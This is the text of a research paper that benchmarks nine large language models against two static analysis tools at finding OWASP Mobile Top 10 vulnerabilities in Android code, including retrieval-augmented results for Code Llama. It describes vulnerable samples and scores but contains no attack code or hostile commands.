Assessing the Effectiveness of LLMs in Android Application Vulnerability Analysis

As mobile devices continue to proliferate, the need for secure software development practices remains still of high priority. The predominant Android platform has become a prime target for attackers and malware writers, seeking to exploit vulnerabilities in the vast cosmos of mobile applications [1]. The importance and volume of mobile vulnerabilities has led the Open Web Application Security Project (OWASP) to periodically publish a current, reputable list of the most prevalent vulnerabilities detected in mobile applications, namely OWASP Mobile Top 10. [2]. This list can serve as a key benchmark in assessing the performance of any tool in finding software vulnerabilities [3].

An emerging approach to detecting Android code vulnerabilities is the use of large language models (LLMs) for code analysis. Actually, the use of LLMs for code analysis is traced back to the early 2010s. That is, in 2013, the introduction of Word2Vec [4], a shallow neural network, marked the beginning of deep learning-based language models. That algorithm was capable of learning word embeddings (an encoding of the meaning of the word) from large datasets. In 2018, Google introduced Word2Vec’s successor, a language model known as Bidirectional Encoder Representations from Transformers (BERT) [5]. BERT was designed to be bidirectionally trained, meaning it can learn information from both the left and right sides of a given text during training, therefore obtaining a better understanding of the context.

In the realm of code analysis, LLMs began to gain traction around 2017. One of the early applications of LLMs in code analysis was code completion. Models like GPT-2 [6], fully released in Nov. 2019, were trained on a large corpus of source code data. By understanding the structure and context of the code, these models could predict the most likely code to follow a given input. In 2020, OpenAI [7] introduced GPT-3 [8], a significantly larger model with 175B parameters. This model showed improved capabilities in generating human-like text and was even able to generate code when given a task description. The ability of LLMs to analyze and understand code has also been demonstrated in recent studies [9, 10]. Nevertheless, to the best of our knowledge, the literature lacks a comprehensive comparison of the ability of these models to detect Android code vulnerabilities so far.

The present work aims to fill this gap by comparing the ability of nine state-of-the-art LLMs to detect Android code vulnerabilities listed in the OWASP Mobile Top 10. Specifically, each model is evaluated regarding its performance in identifying key vulnerabilities against a dataset comprising snippets of vulnerable Android code. The assessment of each model is done through a combination of manual and automated evaluation methods. We additionally pinpoint the strengths and weaknesses of each LLM and provide insights into the factors that conduce to their performance. Overall, this study provides valuable insights into the use of LLMs for detecting mobile code vulnerabilities, thus contributing to the development of effective methods for secure mobile coding. The contributions of the paper are summarized as follows.

• •

  We present a thorough comparative analysis on the capabilities and performance of nine leading LLMs, i.e., GPT 3.5, GPT 4, GPT 4 Turbo, Llama 2, Zephyr Alpha, Zephyr Beta, Nous Hermes Mixtral, MistralOrca, and Code Llama in identifying vulnerabilities residing in Android applications. The experiments conducted provide concrete evidence of the LLMs’ capabilities for such tasks, also identifying the limitations per LLM. These insights are critical for anyone interested in understanding the trade-offs associated with each LLM.

• •

  We provide a comparison between the code analysis results as given by the nine LLMs against two well-known, publicly available static application security testing (SAST) tools, namely, Bearer [11] and MobSFscan [12].

• •

  We examine the impact of context augmentation on LLMs and contribute a set of guidelines regarding the selection and fine-tuning of LLMs towards enhancing the security posture of Android code.

• •

  We offer an open dataset to the community for driving research in this field forward.

The remainder of this paper is structured as follows. The next section presents previous work on the use of LLM for code vulnerability analysis. Section 3 details our methodology, while the results per LLM are given in section 4. The last section concludes and proposes some lines for future research.

In recent years, LLMs have gained significant attention in the field of cybersecurity for their potential to provide assistance in various domains, including vulnerability detection, penetration testing, and security analysis. State-of-the-art surveys such as [13, 14] and [15], as well as a more recent but not yet peer-reviewed study [16], provide comprehensive overviews of the current state and potential future applications of LLMs in cybersecurity. These works analyze the challenges, practical implications, and future research directions to exploit the full potential of these models in ensuring cyber resilience. The rest of this section will focus on literature dealing with software vulnerability analysis using LLMs. This includes works that have already been peer-reviewed, as well as more recent research that has been self-archived for the sake of completeness.

In [17], transformer-based LLMs are evaluated in the task of code vulnerability detection. The authors evaluate such LLMs, including BERT, DistilBERT, CodeBERT, GPT-2 and Megatron, against C/C++ source code snippets from two publicly available datasets. The results showed that LLMs perform well in software vulnerability tasks; indicatively, the best scoring model, GPT-2, had an F1-score above 95% in all tests. In the context of software engineering, [18] investigates the use of in-context learning to improve the ability of LLMs to detect software vulnerabilities, showcasing the adaptability of LLMs to learn from context-specific examples. The authors use code retrieval to search for code snippets that are similar to the examined code and feed them to the LLM together with the examined code and its analysis. Their experimental results show that this approach has better performance than the original GPT model.

Another set of works, adds verification in the vulnerability detection process. An empirical study of using LLMs for vulnerability assessment in software was conducted in [19]. The authors used four well-known pre-trained LLMs to identify vulnerabilities in two labeled datasets, namely code gadgets and CVEfixes, and static analysis as a reference point. The used LLMs include GPT-3.5, Davinci and CodeGen, and the analysis was limited to two kinds of vulnerabilities: SQL injections and buffer overflows. The study concluded that LLMs do not perform well at detecting vulnerabilities, presenting high false-positive rates, but could complement and improve the traditional static analysis process. Concerns about the safe use of code assistants are addressed in [20]. In this case, LLMs are used to produce code which is then assessed manually and using static analysis. This study provides empirical insights into how developers interact with LLMs, underscoring the importance of user awareness to mitigate security risks associated with assisted code generation.

Moving to non peer-reviewed works, the work of [21] delves into the application of LLMs in static binary taint analysis, demonstrating how these models can assist in vulnerability inspection of binaries. A binary is first disassembled and decompiled, and an LLM is used to identify security sensitive functions that may contain vulnerabilities, as well as candidate dangerous flows. In the last phase, the LLM combines the previous results to produce a vulnerability report for the examined binary. The authors of [22] propose DefectHunter, a vulnerability detection mechanism that combines various technologies, including LLMs. Its architecture has three main building blocks: a tool for extracting structural information from code snippets, a pre-trained LLM for generating semantic information, and a Conformer mechanism to identify vulnerabilities from the previously extracted structural and semantic data.

The authors of [23] evaluated ChatGPT and GPT-3 in detection of Common Weakness Enumeration (CWE) vulnerabilities contained in code. Using a custom real-world dataset with Java files from open GitHub repositories, they concluded that the detection capabilities of the aforementioned models are limited. In [24], an empirical study of the potential of LLMs for detecting software vulnerabilities is presented. The authors tested 129 code samples from various GitHub repositories, written in eight different languages, and their results showed that GPT-4 identified around four times more vulnerabilities than traditional, rule-based, static code analysis tools. In addition, the LLMs were asked to provide fixes for the identified vulnerabilities. The models used include GPT-3 and GPT-4.

Apart from generic code, LLMs have been used for detecting vulnerabilities in smart contracts. LLM4Vuln [25] is an evaluation framework for vulnerability detection systems based on LLMs, focusing on smart contract vulnerabilities. The difference from other similar works is that, instead of benchmarking the performance of LLMs in vulnerability detection, the authors evaluate the vulnerability reasoning capabilities of each model. Similarly, the authors of [26] proposed GPTLens, a framework for detecting vulnerabilities in smart contracts using LLMs. GPTLens takes a different approach from the traditional one-stage detection in order to decrease false positives. The detection process is broken down in two steps, where the LLM takes two different roles: auditor and critic. As an auditor, the LLM provides a large range of vulnerabilities for the examined contract, whereas as a critic it verifies the claims produced in the first step. The performed experiments show that GPTLens presents improved results over the single-stage vulnerability detection.

This section details our methodology, including the creation of the benchmark dataset, the selection of LLMs, and the evaluation process.

Tables 1 and 2 recapitulate the results for each LLM. Particularly, each line of Table 1 indicates if the specific model Detected the vulnerability (denoted with the letter “D”), and if it explained the situation and provided a valid solution for Improving the code (denoted with the letter “I”). Actually, the “I” aspect is a key factor in evaluating each LLM (also against each other), as this is the sole indicator of whether the LLM actually “perceives” the security issue.

Overall, with reference to Table 1, the best performers in terms of total vulnerabilities detected, are Code Llama (81/100), GPT 4 (67/100), Nous Hermes Mixtral (62/100), Zephyr Beta (54/100), and Zephyr Alpha (53/100), followed by GPT 4 TURBO (50/100), GPT 3.5 (42/100), MistralOrca (37/100), and Llama 2 (30/100). On the other hand, the best performers, in terms of total code improvement suggestions, are GPT 4 (83/90), GPT 4 Turbo (66/90), Zephyr Alpha (58/90), Zephyr Beta (56/90), and Nous Hermes Mixtral (56/90), followed by Code Llama (44/90), MistralOrca (38/90), GPT 3.5 (37/90), and Llama 2 (31/90). Overall, GPT 4 poses as the top performer, considering a composite score of high “D” and high “I”. On the other hand, LLMs like Code Llama, which do identify the correct vulnerability, but fail to provide corrections or suggestions regarding the problematic lines of code may indicate an insufficiently trained model for this type of analysis.

When looking at each vulnerability individually, GPT 4 achieved a perfect score for M1 and M6, MistralOrca for M9, Zephyr alpha for M5 and M10, Zephyr beta for M5 and M9, and Llama 2 and Code Llama for M5. Regarding the rest of the vulnerabilities, namely, M2, M3, M4, M7, and M8, the best performers were GPT 3.5 (7/10), Zephyr Beta and Code Llama (9/10), Nous Hermes Mixtral (9/10), Code Llama (9/10), and Nous Hermes Mixtral and Code Llama (9/10), respectively. Concerning M2, recall from subsection 3.4 that it was tested using 10 vulnerable libraries published before the training date of each LLM. Even so, the M2 low detection performance in Table 1 for all the LLMs but GPT-3.5 may designate that these libraries were not considered during LLM training, so the respective scores can be regarded only as indicative. The same applies to the “I” score for M2, which it is marked as N/A. As discussed in subsection 3.3, to address these limitations, LLMs used for vulnerability detection can capitalize on context augmentation; this way the LLM is provided with access to contextual, up-to-date data.

After averaging the “D” score for all the nine LLMs, we sort in ascending order the OWASP Top 10 vulnerabilities in Table 3. This mean score provides an estimation of the detection difficulty per vulnerability as experienced by the different LLMs. The same table also includes the best performer(s) along with its score in parentheses. As observed from the table, from an LLM viewpoint, M2 is the toughest vulnerability with an average score of 2.11. As explained in subsection 3.4, this poor outcome is conceivably due to lack of sufficient, up-to-date information at the LLMs’ side. Generally, this low score is somewhat expected, as for this vulnerability the LLMs are checking for known security issues in a list of libraries instead of analyzing the application’s code. On the other hand, the highest average detection score was observed in M5, where four LLMs achieved a perfect score.

No less important, with reference to the last stage of the experiments as given in subsection 3.4, regarding the detection of privacy-invasive actions, six, eight, and six of the LLMs correctly perceived potential privacy-invasive actions for location, camera, and local file sharing, respectively. The best performer was Zephyr Alpha, which clearly marked two out of three codes as privacy-invasive and the other as potentially privacy-invasive. The worst performer in this type of experiments was MistralOrca, which was unable to detect any possible privacy-invasive actions.

Additionally, Table 4 presents the results regarding the use of RAG on Code Llama. As explained in subsection 3.3, in this experiment, only half of the samples per vulnerability were indexed for RAG, along with text and code examples from Android’s app security guidelines [44] and all the CVEs related to the vulnerable libraries used for M2. After that, we analyzed the other half of the samples, i.e., the non-annotated ones with comments on the particular vulnerability. As observed from Table 4, the results show improvements in both the detection performance and the generation of code suggestions vis-à-vis the base model. Precisely, by feeding a large list of vulnerable libraries, the optimized Code Llama model achieved a perfect score for M2, an improvement of approximately 233% compared to that in Table 1. Nevertheless, for reaching this performance in real-world scenarios, the RAG process should involve an up-to-date dataset comprising known vulnerable library versions. Interestingly, except M2, the optimized Code Llama model detected the vulnerabilities and suggested improvements for all the M1, M3, M4, M5, M6, and M7 samples. As seen in the three bottom lines of Table 4, a nearly perfect performance (4/5) was also observed for all the M8, M9, and M10 samples.

As previously mentioned, the performance of the LLMs was also compared against two reputable SASTs, namely Bearer and MobSFscan. Precisely, as shown in Table 5, across the 100 samples of Vulcorpus, Bearer found 29 security issues, while MobSFscan detected 12 issues. Excluding M2, this result suggests that, for several vulnerability types, the performance of at least some of the LLMs may significantly or even by far surpass that of well-known SASTs. For instance, comparing the numbers of Table 5 with the average scores of Table 3 it can be argued that the former observation applies especially to M3, M4, and M9, and in a smaller extent to M1, M6, and M7. Moreover, a side conclusion is that both the LLMs and SASTs score well in certain vulnerabilities, i.e., M10, and to a lesser extent M5; nevertheless, this is somewhat expected given that vulnerabilities of these two types are generally considered easier to detect.

Our study provides empirical evidence regarding the effectiveness of using LLMs for Android code vulnerability analysis. GPT-4 and Code Llama emerged as the top performers among the nine LLMs tested, the latter excelling in detection, but failing to provide sufficient code improvements, and the former showing promising results both in detection and code improvement. Notably, the study highlights the superior performance of specific LLMs for particular types of vulnerabilities. For instance, MistralOrca and Zephyr Beta performed exceptionally well for M9, while Zephyr Alpha excelled in M10. These findings suggest that while some LLMs have a general proficiency in vulnerability detection, others may be more specialized, indicating the potential for strategic selection of LLMs based on the targeted vulnerability type. When comparing open LLM models with commercial ones, we can see that the open models were the best performers in seven out of ten categories of vulnerabilities, i.e., M3, M4, M5, M7, M8, M9, M10. On the other hand, considering mean detection and improvements scores, as presented in Table 1, the situation is mixed.

Our findings also reveal that while some LLMs are capable of detecting Android code vulnerabilities, their overall performance is still in an early stage. For example, several LLMs struggled with M7, while others were unable to identify M2, reflecting the inherent complexity and subtlety of such vulnerabilities. This outcome points to a need for further research towards enhancing LLMs’ capabilities in more nuanced areas of Android security. As an additional step, we evaluated the use of RAG in fine-tuning LLMs for vulnerability analysis, with our results demonstrating that RAG can significantly reinforce detection performance. Regarding the detection of privacy-invasive actions, the obtained results indicate a mixed level of sensitivity among the LLMs, with Zephyr Alpha being the top performer. However, MistralOrca’s inability to identify any potential privacy-invasive actions underscores the variability in performance and the need for increased model robustness in privacy analysis concerning mobile platforms. No less important, after comparing the performance of LLMs with that of well-respected SASTs on the same set of vulnerable samples, it can be said that the former seem more adept at identifying code vulnerabilities.

Altogether, the results of the present study provide valuable insights into the current state of LLMs in Android vulnerability detection. While certain models show high efficacy, there is ample room for improvement and targeted optimizations, particularly in addressing complex and subtle vulnerabilities. Nevertheless, for obtaining a more complete view, more experiments with larger datasets are needed.